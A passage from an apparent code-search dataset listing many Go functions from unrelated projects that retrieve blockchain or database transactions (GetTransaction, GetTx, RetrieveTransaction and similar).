Transaction, err error) {\n\tr, err := b.client.call(\"gettransaction\", []interface{}{txid})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transaction)\n\treturn\n}","func (mp *TxPool) GetTransaction(hash Uint256) *Transaction {\n\tmp.RLock()\n\tdefer mp.RUnlock()\n\treturn mp.txnList[hash]\n}","func (u *User) GetTransaction(nodeID, transactionID string) (map[string]interface{}, error) {\n\tlog.info(\"========== GET TRANSACTION ==========\")\n\turl := buildURL(path[\"users\"], u.UserID, path[\"nodes\"], nodeID, path[\"transactions\"], transactionID)\n\n\treturn u.do(\"GET\", url, \"\", nil)\n}","func (b Block) GetTransaction(txHash cipher.SHA256) (Transaction, bool) {\n\ttxns := b.Body.Transactions\n\tfor i := range txns {\n\t\tif txns[i].Hash() == txHash {\n\t\t\treturn txns[i], true\n\t\t}\n\t}\n\treturn Transaction{}, false\n}","func (m *TransactionMessage) GetTransaction() (*types.Tx, error) {\n\ttx := &types.Tx{}\n\tif err := tx.UnmarshalText(m.RawTx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn tx, nil\n}","func (c *TransactionClient) Get(ctx context.Context, id int32) (*Transaction, error) {\n\treturn c.Query().Where(transaction.ID(id)).Only(ctx)\n}","func (db *DB) GetTx() *GetTx {\n\treturn &GetTx{\n\t\tdb: db,\n\t}\n}","func (c *Client) GetTransaction(ctx context.Context, txhash string) (GetTransactionResponse, error) {\n\tres, err := c.RpcClient.GetTransactionWithConfig(\n\t\tctx,\n\t\ttxhash,\n\t\trpc.GetTransactionConfig{\n\t\t\tEncoding: rpc.GetTransactionConfigEncodingBase64,\n\t\t},\n\t)\n\terr = checkRpcResult(res.GeneralResponse, err)\n\tif err != nil {\n\t\treturn GetTransactionResponse{}, err\n\t}\n\treturn getTransaction(res)\n}","func (s *Session) Transaction() *Transaction {\n\t// acquire lock\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\treturn s.txn\n}","func GetTx() *TX {\n\ttx := &TX{\n\t\tDB: DB.Begin(),\n\t\tfired: false,\n\t}\n\treturn tx\n}","func (c *Context) GetTx() interface{} {\n\treturn c.tx\n}","func (s *TXPoolServer) getTransaction(hash common.Uint256) *tx.Transaction {\n\treturn s.txPool.GetTransaction(hash)\n}","func (s *transactionStore) Get(ctx context.Context, id configapi.TransactionID) (*configapi.Transaction, error) {\n\t// If the transaction is not already in the cache, get it from the underlying primitive.\n\tentry, err := s.transactions.Get(ctx, id)\n\tif err != nil {\n\t\treturn nil, errors.FromAtomix(err)\n\t}\n\ttransaction := entry.Value\n\ttransaction.Index = configapi.Index(entry.Index)\n\ttransaction.Version = uint64(entry.Version)\n\treturn transaction, nil\n}","func (tp *TXPool) GetTransaction(hash common.Uint256) *types.Transaction {\n\ttp.RLock()\n\tdefer tp.RUnlock()\n\tif tx := tp.txList[hash]; tx == nil {\n\t\treturn nil\n\t}\n\treturn tp.txList[hash].Tx\n}","func (f *FactoidTransaction) Get(ctx context.Context, c *Client) error {\n\t// TODO: Test this functionality\n\t// If the TransactionID is nil then we have nothing to query for.\n\tif f.TransactionID == nil {\n\t\treturn fmt.Errorf(\"txid is nil\")\n\t}\n\t// If the Transaction is already populated then there is nothing to do. If\n\t// the Hash is nil, we cannot populate it anyway.\n\tif f.IsPopulated() {\n\t\treturn nil\n\t}\n\n\tparams := struct {\n\t\tHash *Bytes32 `json:\"hash\"`\n\t}{Hash: f.TransactionID}\n\tvar result struct {\n\t\tData Bytes `json:\"data\"`\n\t}\n\tif err := c.FactomdRequest(ctx, \"raw-data\", params, &result); err != nil {\n\t\treturn err\n\t}\n\n\tif err := f.UnmarshalBinary(result.Data); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func RetrieveTransaction(ctx context.Context, db *mongo.Collection, _id string) (*Transaction, error) {\n\n\tvar transaction Transaction\n\n\tid, err := primitive.ObjectIDFromHex(_id)\n\tif err != nil {\n\t\treturn nil, apierror.ErrInvalidID\n\t}\n\n\tif err := db.FindOne(ctx, bson.M{\"_id\": id}).Decode(&transaction); err != nil {\n\t\treturn nil, apierror.ErrNotFound\n\t}\n\n\t// fmt.Println(\"&transaction.FinancialAccountID\", &transaction.FinancialAccountID)\n\t// fmt.Printf(\"***************\\n&transaction.FinancialAccountID Type : %T\\n\", &transaction.FinancialAccountID)\n\n\treturn &transaction, nil\n}","func (tangle *Tangle) Transaction(transactionID transaction.ID) *transaction.CachedTransaction {\n\treturn &transaction.CachedTransaction{CachedObject: tangle.transactionStorage.Load(transactionID.Bytes())}\n}","func GetTransactionRef(userID, stockID uint32, ttype TransactionType, reservedStockQuantity int64, stockQuantity int64, price uint64, reservedCashTotal int64, total int64) *Transaction {\n\treturn &Transaction{\n\t\tUserId: userID,\n\t\tStockId: stockID,\n\t\tType: ttype,\n\t\tReservedStockQuantity: reservedStockQuantity,\n\t\tStockQuantity: stockQuantity,\n\t\tPrice: price,\n\t\tReservedCashTotal: reservedCashTotal,\n\t\tTotal: total,\n\t\tCreatedAt: utils.GetCurrentTimeISO8601(),\n\t}\n}","func (c *Client) RetrieveTransaction(\n\tctx context.Context,\n\tid string,\n\tmint *string,\n) (*TransactionResource, error) {\n\tif mint == nil {\n\t\towner, _, err := NormalizedOwnerAndTokenFromID(ctx, id)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\t_, host, err := UsernameAndMintHostFromAddress(ctx, owner)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tmint = &host\n\t}\n\n\treq, err := http.NewRequest(\"GET\",\n\t\tFullMintURL(ctx,\n\t\t\t*mint, fmt.Sprintf(\"/transactions/%s\", id), url.Values{}).String(), nil)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\treq.Header.Add(\"Mint-Protocol-Version\", ProtocolVersion)\n\tr, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\tdefer r.Body.Close()\n\n\tvar raw svc.Resp\n\tif err := json.NewDecoder(r.Body).Decode(&raw); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\tif r.StatusCode != http.StatusOK && r.StatusCode != http.StatusCreated {\n\t\tvar e errors.ConcreteUserError\n\t\terr = raw.Extract(\"error\", &e)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\treturn nil, errors.Trace(ErrMintClient{\n\t\t\tr.StatusCode, e.ErrCode, e.ErrMessage,\n\t\t})\n\t}\n\n\tvar transaction TransactionResource\n\tif err := raw.Extract(\"transaction\", &transaction); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\treturn &transaction, nil\n}","func (transService *TransactionService) GetTransactionByRef(ref string) (*Transaction, error) {\n\ttrans, err := transService.Repo.GetTransactionByRef(ref)\n\t\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn trans, nil\n}","func (s *Service) GetExplorerTransaction(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tid := r.FormValue(\"id\")\n\n\tdata := &Data{}\n\tdefer func() {\n\t\tif err := json.NewEncoder(w).Encode(data.TX); err != nil {\n\t\t\tutils.Logger().Warn().Err(err).Msg(\"cannot JSON-encode TX\")\n\t\t}\n\t}()\n\tif id == \"\" {\n\t\tutils.Logger().Warn().Msg(\"invalid id parameter\")\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\tdb := s.Storage.GetDB()\n\tbytes, err := db.Get([]byte(GetTXKey(id)))\n\tif err != nil {\n\t\tutils.Logger().Warn().Err(err).Str(\"id\", id).Msg(\"cannot read TX\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\ttx := new(Transaction)\n\tif rlp.DecodeBytes(bytes, tx) != nil {\n\t\tutils.Logger().Warn().Str(\"id\", id).Msg(\"cannot convert data from DB\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdata.TX = *tx\n}","func (r Virtual_Guest) GetActiveTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getActiveTransaction\", nil, &r.Options, &resp)\n\treturn\n}","func (gtx *GuardTx) GetTx() *sql.Tx {\n\treturn gtx.dbTx\n}","func (c *Contract) GetUnknownTransaction() interface{} {\n\treturn c.UnknownTransaction\n}","func GetTransactionById(pId int) *DOMAIN.Transaction {\n\t// Project structure\n\ttransaction := DOMAIN.Transaction{}\n\t// Add in Transaction variable, the project where ID is the same that the param\n\tres := getTransactionCollection().Find(db.Cond{\"TransactionID\": pId})\n\n\t//project.ProjectType = GetTypesByProjectId(pId)\n\n\t// Close session when ends the method\n\tdefer session.Close()\n\terr := res.One(&transaction)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil\n\t}\n\n\treturn &transaction\n}","func (c Client) findTransaction(transactionID string) (*Transaction, error) {\n\tpath := fmt.Sprintf(\"/transactions/%s\", transactionID)\n\treq, err := http.NewRequest(\"GET\", c.getURL(path), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar marshalled map[string]*Transaction\n\treturn marshalled[\"transaction\"], c.executeRequestAndMarshal(req, &marshalled)\n}","func (pt *PackedTransaction) GetSignTransaction() SignedTransaction {\n\terrHandle := func() {\n\t\tpanic(\"[PackedTransaction] GetSignTransaction failed\")\n\t}\n\n\thelper.CatchException(nil, errHandle)\n\n\tvar result SignedTransaction\n\tresult.Signatures = pt.signatures\n\tif pt.unPackedTrx != nil {\n\t\tresult.Transaction = *pt.unPackedTrx\n\t}\n\n\tswitch pt.Compression {\n\tcase None:\n\t\tresult.ContextFreeData = pt.PackedContextFreeData\n\tcase Zlib:\n\t\tresult.ContextFreeData = zlibUnCompressionContextFreeData(pt.PackedContextFreeData)\n\tdefault:\n\t\tpanic(\"Unknown transaction compression algorithm\")\n\t}\n\treturn result\n}","func (c *BalanceClient) RetrieveTransaction(id string) (*BalanceTransaction, error) {\n\tbalanceTransaction := BalanceTransaction{}\n\terr := c.client.get(\"/balance/history/\"+id, nil, &balanceTransaction)\n\treturn &balanceTransaction, err\n}","func (api *API) getTransactionByShortID(shortID string) (types.Transaction, error) {\n\tvar txShortID types.TransactionShortID\n\t_, err := fmt.Sscan(shortID, &txShortID)\n\tif err != nil {\n\t\treturn types.Transaction{}, err\n\t}\n\n\ttxn, found := api.cs.TransactionAtShortID(txShortID)\n\tif !found {\n\t\terr = errNotFound\n\t}\n\treturn txn, err\n}","func GetBytesTransaction(tx *peer.Transaction) ([]byte, error) {\n\tbytes, err := proto.Marshal(tx)\n\treturn bytes, err\n}","func GetTx(txhash string) (*model.Tx, error) {\n\turl := fmt.Sprintf(bchapi.TxUrl, txhash)\n\tresult, err := bchapi.HttpGet(url, bchapi.ConnTimeoutMS, bchapi.ServeTimeoutMS)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttx, err := model.StringToTx(result)\n\treturn tx, err\n}","func GetTransferringTx(db *gorp.DbMap) (records []*TxRecord, err error) {\n\t_, err = db.Select(&records, `SELECT * FROM \"record\" WHERE \"state\" = ?`, ExchangeStateTransferring)\n\treturn\n}","func (s *Store) GetTx(txid common.Hash) *types.Transaction {\n\ttx, _ := s.rlp.Get(s.table.Txs, txid.Bytes(), &types.Transaction{}).(*types.Transaction)\n\n\treturn tx\n}","func (b Blockstream) GetTransaction(txHash string) (*wire.MsgTx, error) {\n\turl := fmt.Sprintf(\"%s/tx/%s\", baseURL, txHash)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn nil, fmt.Errorf(\"failed to get a transaction: %s\", b)\n\t}\n\n\tvar tx transaction\n\tif err := json.NewDecoder(resp.Body).Decode(&tx); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsgTx := wire.NewMsgTx(tx.Version)\n\tmsgTx.LockTime = uint32(tx.Locktime)\n\n\tfor _, vin := range tx.Vin {\n\t\tvoutHash, err := chainhash.NewHashFromStr(vin.Txid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tsigScript, err := hex.DecodeString(vin.Scriptsig)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar witness [][]byte\n\t\tfor _, w := range vin.Witness {\n\t\t\tws, err := hex.DecodeString(w)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\twitness = append(witness, ws)\n\t\t}\n\n\t\tnewInput := wire.NewTxIn(\n\t\t\twire.NewOutPoint(voutHash, vin.Vout),\n\t\t\tsigScript,\n\t\t\twitness,\n\t\t)\n\t\tnewInput.Sequence = uint32(vin.Sequence)\n\n\t\tmsgTx.AddTxIn(newInput)\n\t}\n\n\tfor _, vout := range tx.Vout {\n\t\tpkScript, err := hex.DecodeString(vout.Scriptpubkey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmsgTx.AddTxOut(\n\t\t\twire.NewTxOut(\n\t\t\t\tvout.Value,\n\t\t\t\tpkScript,\n\t\t\t),\n\t\t)\n\t}\n\n\tif msgTx.TxHash().String() != tx.Txid {\n\t\treturn nil, fmt.Errorf(\"transaction hash doesn't match\")\n\t}\n\n\treturn msgTx, nil\n}","func (c *changeTrackerDB) ReadTxn() *txn {\n\treturn &txn{Txn: c.memdb.Txn(false)}\n}","func (rpc BitcoinRPC) GetRawTransaction(h string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = rpc.client.Call(\"getrawtransaction\", []interface{}{h, 1}, &tx)\n\treturn tx, err\n}","func (r Virtual_Guest_Block_Device_Template_Group) GetTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest_Block_Device_Template_Group\", \"getTransaction\", nil, &r.Options, &resp)\n\treturn\n}","func (a API) GetRawTransaction(cmd *btcjson.GetRawTransactionCmd) (e error) {\n\tRPCHandlers[\"getrawtransaction\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}","func (s *InventoryApiService) GetInventoryTransaction(id string, w http.ResponseWriter) error {\n\tctx := context.Background()\n\ttxn, err := s.db.GetInventoryTransaction(ctx, id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn EncodeJSONResponse(txn, nil, w)\n}","func GetTrans(userName, token *string) (*[]request.TransSchema, error) {\n\tresp, err := request.GetCloudor(userName, token, \"/transaction/user/\"+*userName)\n\tif err != nil {\n\t\tfmt.Printf(\"getting transactions failed for user %s: %v\", *userName, err)\n\t\treturn nil, err\n\t}\n\n\ttransactions := []request.TransSchema{}\n\terr = json.Unmarshal(resp, &transactions)\n\tif err != nil {\n\t\tfmt.Printf(\"Internal error, cann't parse transaction response: %v\", err)\n\t\treturn nil, err\n\t}\n\treturn &transactions, nil\n}","func (t *PendingTransaction) Get(input *PendingTransactionInput) (*PendingTransactions, error) {\n\tresp, err := t.c.Request(http.MethodGet, fmt.Sprintf(\"/pending_transactions/%s\", input.ID), new(bytes.Buffer), nil)\n\tif err != nil {\n\t\treturn &PendingTransactions{}, err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar pendingTransactions *PendingTransactions\n\terr = json.NewDecoder(resp.Body).Decode(&pendingTransactions)\n\tif err != nil {\n\t\treturn &PendingTransactions{}, err\n\t}\n\treturn pendingTransactions, nil\n}","func (b *Bitcoind) GetRawTransaction(txId string, verbose bool) (rawTx interface{}, err error) {\n\tr, err := b.client.call(\"getrawtransaction\", []interface{}{txId, verbose})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\tif !verbose {\n\t\terr = json.Unmarshal(r.Result, &rawTx)\n\t} else {\n\t\tvar t RawTransaction\n\t\terr = json.Unmarshal(r.Result, &t)\n\t\trawTx = t\n\t}\n\n\treturn\n}","func (pgb *ChainDBRPC) GetRawTransaction(txid string) (*dcrjson.TxRawResult, error) {\n\ttxraw, err := rpcutils.GetTransactionVerboseByID(pgb.Client, txid)\n\tif err != nil {\n\t\tlog.Errorf(\"GetRawTransactionVerbose failed for: %s\", txid)\n\t\treturn nil, err\n\t}\n\treturn txraw, nil\n}","func (m *SimulateRequest) GetTx() *Tx {\n\tif m != nil {\n\t\treturn m.Tx\n\t}\n\treturn nil\n}","func (g *Graph) FindTransaction(id TransactionID) *Transaction {\n\tg.RLock()\n\ttx := g.transactions[id]\n\tg.RUnlock()\n\n\treturn tx\n}","func (r *InMemorySourceReader) Transaction() *Transaction {\n\treturn NewTransaction(r)\n}","func (l *LedgerState) ReturnTransaction(transactionID ledgerstate.TransactionID) (transaction *ledgerstate.Transaction) {\n\treturn l.UTXODAG.Transaction(transactionID)\n}","func (r Virtual_Guest) GetLastTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getLastTransaction\", nil, &r.Options, &resp)\n\treturn\n}","func (t *TxAPI) Get(hash string) (*api.ResultTx, error) {\n\tresp, statusCode, err := t.c.call(\"tx_get\", hash)\n\tif err != nil {\n\t\treturn nil, makeReqErrFromCallErr(statusCode, err)\n\t}\n\n\tvar r api.ResultTx\n\tif err = util.DecodeMap(resp, &r); err != nil {\n\t\treturn nil, errors.ReqErr(500, ErrCodeDecodeFailed, \"\", err.Error())\n\t}\n\n\treturn &r, nil\n}","func (c Client) FindTransaction(transactionID string) (*Transaction, error) {\n\treturn c.findTransaction(transactionID)\n}","func (a *transactionUsecase) GetByID(c context.Context, id int64) (*models.Transaction, error) {\n\n\tctx, cancel := context.WithTimeout(c, a.contextTimeout)\n\tdefer cancel()\n\n\tres, err := a.transactionRepo.GetByID(ctx, id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}","func (r *Repository) TxGet(tx *dbr.Tx, userID int64) (*pb.User, error) {\n\treturn r.get(tx, userID)\n}","func (o *Transaction) GetTransactionId() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.TransactionId\n}","func (r *BTCRPC) GetTransactionDetail(txhash string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = r.Client.Call(\"getrawtransaction\", jsonrpc.Params{txhash, 1}, &tx)\n\treturn tx, err\n}","func (l *LedgerState) Transaction(transactionID ledgerstate.TransactionID) *ledgerstate.CachedTransaction {\n\treturn l.UTXODAG.CachedTransaction(transactionID)\n}","func (transaction *ScheduleSignTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}","func (t *txLookup) Get(hash common.Hash) *types.Transaction {\n\tt.lock.RLock()\n\tdefer t.lock.RUnlock()\n\n\treturn t.all[hash]\n}","func (k Keeper) GetExtTransaction(ctx sdk.Context, id uint64) types.ExtTransaction {\n\tstore := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefix(types.ExtTransactionKey))\n\tvar extTransaction types.ExtTransaction\n\tk.cdc.MustUnmarshalBinaryBare(store.Get(GetExtTransactionIDBytes(id)), &extTransaction)\n\treturn extTransaction\n}","func getTx(txn *badger.Txn) func([]byte) ([]byte, error) {\n\treturn func(key []byte) ([]byte, error) {\n\t\t// Badger returns an \"item\" upon GETs, we need to copy the actual value\n\t\t// from the item and return it.\n\t\titem, err := txn.Get(key)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, badger.ErrKeyNotFound) {\n\t\t\t\treturn nil, storage.ErrNotFound\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\n\t\tval := make([]byte, item.ValueSize())\n\t\treturn item.ValueCopy(val)\n\t}\n}","func (client *clientImpl) GetTransactionByHash(tx string) (val *Transaction, err error) {\n\n\terr = client.Call2(\"eth_getTransactionByHash\", &val, tx)\n\n\treturn\n}","func (pool *TxPool) Get(hash common.Hash) *types.Transaction {\n\treturn pool.all.Get(hash)\n}","func (transaction *TokenUpdateTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}","func (transaction *AccountCreateTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}","func (base *BaseSMTransaction) GetSMTransaction() (currentStateName string, stateEvents fsm.Events, stateCallbacks fsm.Callbacks, err error) {\n\n\t// check if state exists or not\n\tif _, err = base.getDetailStatus(base.CurrentStatus); err != nil {\n\t\treturn\n\t}\n\n\t// get all po c status\n\tPoCStatus, _ := base.GetTransactionStatus()\n\n\t// assign current state name\n\tcurrentStateName = PoCStatus[base.CurrentStatus].Name // current state\n\n\t// assign event transitions\n\tstateEvents = fsm.Events{\n\t\t// normal transitions\n\t\t{\n\t\t\tName: constant.TransactionConfirmed, // transitions name\n\t\t\tSrc: []string{PoCStatus[constant.TransactionNew].Name}, // source state name\n\t\t\tDst: PoCStatus[constant.TransactionOnProgress].Name, // destination state name\n\t\t},\n\t\t{\n\t\t\tName: constant.TransactionFinished,\n\t\t\tSrc: []string{PoCStatus[constant.TransactionOnProgress].Name},\n\t\t\tDst: PoCStatus[constant.TransactionDone].Name,\n\t\t},\n\t\t{\n\t\t\tName: constant.TransactionCompleted,\n\t\t\tSrc: []string{PoCStatus[constant.TransactionDone].Name},\n\t\t\tDst: PoCStatus[constant.TransactionComplete].Name,\n\t\t},\n\t}\n\n\t// assign callback\n\t// this example you can change state to on progress,\n\t// but it will always can't change state to delivered\n\tstateCallbacks = fsm.Callbacks{\n\t\t\"before_\" + constant.TransactionConfirmed: func(e *fsm.Event) {\n\t\t\tstate, err := base.TransactionConfirmed(e)\n\t\t\tif !state || err != nil {\n\t\t\t\te.Cancel()\n\t\t\t}\n\t\t},\n\t}\n\n\treturn\n}","func (s *RpcClient) GetConfirmedTransaction(ctx context.Context, txhash string) (GetConfirmedTransactionResponse, error) {\n\tres := struct {\n\t\tGeneralResponse\n\t\tResult GetConfirmedTransactionResponse `json:\"result\"`\n\t}{}\n\terr := s.request(ctx, \"getConfirmedTransaction\", []interface{}{txhash, \"json\"}, &res)\n\tif err != nil {\n\t\treturn GetConfirmedTransactionResponse{}, err\n\t}\n\treturn res.Result, nil\n}","func (rpc BitcoinRPC) OmniGetTransaction(h string) ([]byte, error) {\n\tvar (\n\t\tomniTx []byte\n\t\terr error\n\t)\n\terr = rpc.client.Call(\"omni_gettransaction\", h, &omniTx)\n\treturn omniTx, err\n}","func (c *Client) GetTransactions(queryParams ...string) (map[string]interface{}, error) {\n\tlog.info(\"========== GET CLIENT TRANSACTIONS ==========\")\n\turl := buildURL(path[\"transactions\"])\n\n\treturn c.do(\"GET\", url, \"\", queryParams)\n}","func (data *Data) GetTx(hash chainhash.Hash) (*wire.MsgTx, error) {\n\tdb, err := data.openDb()\n\tdefer data.closeDb(db)\n\tif err != nil {\n\t\tlog.Printf(\"data.openDb Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\tvar bs []byte\n\terr = db.QueryRow(\"SELECT data FROM tx WHERE hash=?\", hash.CloneBytes()).Scan(&bs)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn nil, nil\n\t\t}\n\t\tlog.Printf(\"db.QueryRow Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\ttx, err := data.bsToMsgTx(bs)\n\tif err != nil {\n\t\tlog.Printf(\"data.bsToMsgTx Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\treturn tx, nil\n}","func (c *Contract) GetAfterTransaction() interface{} {\n\treturn c.AfterTransaction\n}","func (transaction *ScheduleSignTransaction) GetTransactionMemo() string {\n\treturn transaction.Transaction.GetTransactionMemo()\n}","func (bdm *MySQLDBManager) GetTransactionsObject() (TranactionsInterface, error) {\n\tconn, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxs := Tranactions{}\n\ttxs.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\n\n\treturn &txs, nil\n}","func (transaction *FileCreateTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}","func (r *Repository) Transaction() (middleware.Transaction, error) {\n\treturn r.Database.Transaction()\n}"],"string":"[\n \"func GetTransaction(ctx context.Context) *sql.Tx {\\n\\tiTx := ctx.Value(Transaction)\\n\\ttx, _ := iTx.(*sql.Tx) //nolint: errcheck\\n\\treturn tx\\n}\",\n \"func GetTransaction(transactionID bson.ObjectId) (*models.Transaction, error) {\\n\\tsession, collection := service.Connect(collectionName)\\n\\tdefer session.Close()\\n\\n\\ttransaction := models.Transaction{}\\n\\terr := collection.FindId(transactionID).One(&transaction)\\n\\n\\treturn &transaction, err\\n}\",\n \"func (uts *UnapprovedTransactions) GetTransaction(txID []byte) ([]byte, error) {\\n\\treturn uts.DB.Get(uts.getTableName(), txID)\\n}\",\n \"func (svc *svc) GetTransaction(ctx context.Context, query model.TransactionQuery) (model.Transaction, error) {\\n\\ttransaction, err := svc.repo.GetTransaction(ctx, query)\\n\\tif err != nil {\\n\\t\\treturn transaction, err\\n\\t}\\n\\n\\treturn transaction, nil\\n}\",\n \"func (gw *Gateway) GetTransaction(txid cipher.SHA256) (*visor.Transaction, error) {\\n\\tvar txn *visor.Transaction\\n\\tvar err error\\n\\n\\tgw.strand(\\\"GetTransaction\\\", func() {\\n\\t\\ttxn, err = gw.v.GetTransaction(txid)\\n\\t})\\n\\n\\treturn txn, err\\n}\",\n \"func (b *Backend) GetTransaction(\\n\\tctx context.Context,\\n\\tid sdk.Identifier,\\n) (*sdk.Transaction, error) {\\n\\ttx, err := b.emulator.GetTransaction(id)\\n\\tif err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase emulator.NotFoundError:\\n\\t\\t\\treturn nil, status.Error(codes.NotFound, err.Error())\\n\\t\\tdefault:\\n\\t\\t\\treturn nil, status.Error(codes.Internal, err.Error())\\n\\t\\t}\\n\\t}\\n\\n\\tb.logger.\\n\\t\\tWithField(\\\"txID\\\", id.String()).\\n\\t\\tDebugf(\\\"💵 GetTransaction called\\\")\\n\\n\\treturn tx, nil\\n}\",\n \"func GetTransaction(_db *gorm.DB, blkHash common.Hash, txHash common.Hash) *Transactions {\\n\\tvar tx Transactions\\n\\n\\tif err := _db.Where(\\\"hash = ? and blockhash = ?\\\", txHash.Hex(), blkHash.Hex()).First(&tx).Error; err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn &tx\\n}\",\n \"func (c *dummyWavesMDLrpcclient) GetTransaction(txid string) (*model.Transactions, error) {\\n\\ttransaction, _, err := client.NewTransactionsService(c.MainNET).GetTransactionsInfoID(txid)\\n\\treturn transaction, err\\n}\",\n \"func (tb *TransactionBuilder) GetTransaction() *types.Transaction {\\n\\treturn tb.tx\\n}\",\n \"func (trs *Transaction) GetTransaction() stored_transactions.Transaction {\\n\\treturn trs.Trs\\n}\",\n \"func (ps *PubsubApi) GetTransaction(hash common.Hash) *rtypes.RPCTx {\\n\\ttx, txEntry := ps.backend().GetTx(hash)\\n\\tif tx == nil {\\n\\t\\tlog.Info(\\\"GetTransaction fail\\\", \\\"hash\\\", hash)\\n\\t}\\n\\treturn rtypes.NewRPCTx(tx, txEntry)\\n}\",\n \"func GetTransaction(id int, db *gorm.DB) Transaction {\\n\\tvar t Transaction\\n\\terr := db.Table(\\\"transactions\\\").\\n\\t\\tPreload(\\\"Tags\\\").\\n\\t\\tFirst(&t, id).\\n\\t\\tError\\n\\tif err != nil {\\n\\t\\tt.Date = time.Now()\\n\\t}\\n\\treturn t\\n}\",\n \"func (c *RPC) GetTransaction(txid string) (*webrpc.TxnResult, error) {\\n\\ttxn, err := c.rpcClient.GetTransactionByID(txid)\\n\\tif err != nil {\\n\\t\\treturn nil, RPCError{err}\\n\\t}\\n\\n\\treturn txn, nil\\n}\",\n \"func (client *Client) GetTransaction(txnID string) (*Response, error) {\\n\\tpath := \\\"/transaction\\\"\\n\\turi := fmt.Sprintf(\\\"%s%s/%s\\\", client.apiBaseURL, path, txnID)\\n\\n\\treq, err := http.NewRequest(\\\"GET\\\", uri, bytes.NewBuffer([]byte(\\\"\\\")))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tresp, err := client.performRequest(req, \\\"\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t// Handle conversion of Response from an interface{} to Transaction for the user.\\n\\tvar txn Transaction\\n\\tif err := json.Unmarshal(resp.Response.([]byte), &txn); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tresp.Response = txn\\n\\treturn resp, err\\n}\",\n \"func (s *server) GetTransaction(ctx context.Context, req *transactionpb.GetTransactionRequest) (*transactionpb.GetTransactionResponse, error) {\\n\\tlog := logrus.WithFields(logrus.Fields{\\n\\t\\t\\\"method\\\": \\\"GetTransaction\\\",\\n\\t\\t\\\"id\\\": base64.StdEncoding.EncodeToString(req.TransactionId.Value),\\n\\t})\\n\\n\\tif len(req.TransactionId.Value) != 32 && len(req.TransactionId.Value) != 64 {\\n\\t\\treturn nil, status.Error(codes.Internal, \\\"invalid transaction signature\\\")\\n\\t}\\n\\n\\tresp, err := s.loader.loadTransaction(ctx, req.TransactionId.Value)\\n\\tif err != nil {\\n\\t\\tlog.WithError(err).Warn(\\\"failed to load transaction\\\")\\n\\t\\treturn nil, status.Error(codes.Internal, \\\"failed to load transaction\\\")\\n\\t}\\n\\treturn resp, nil\\n}\",\n \"func 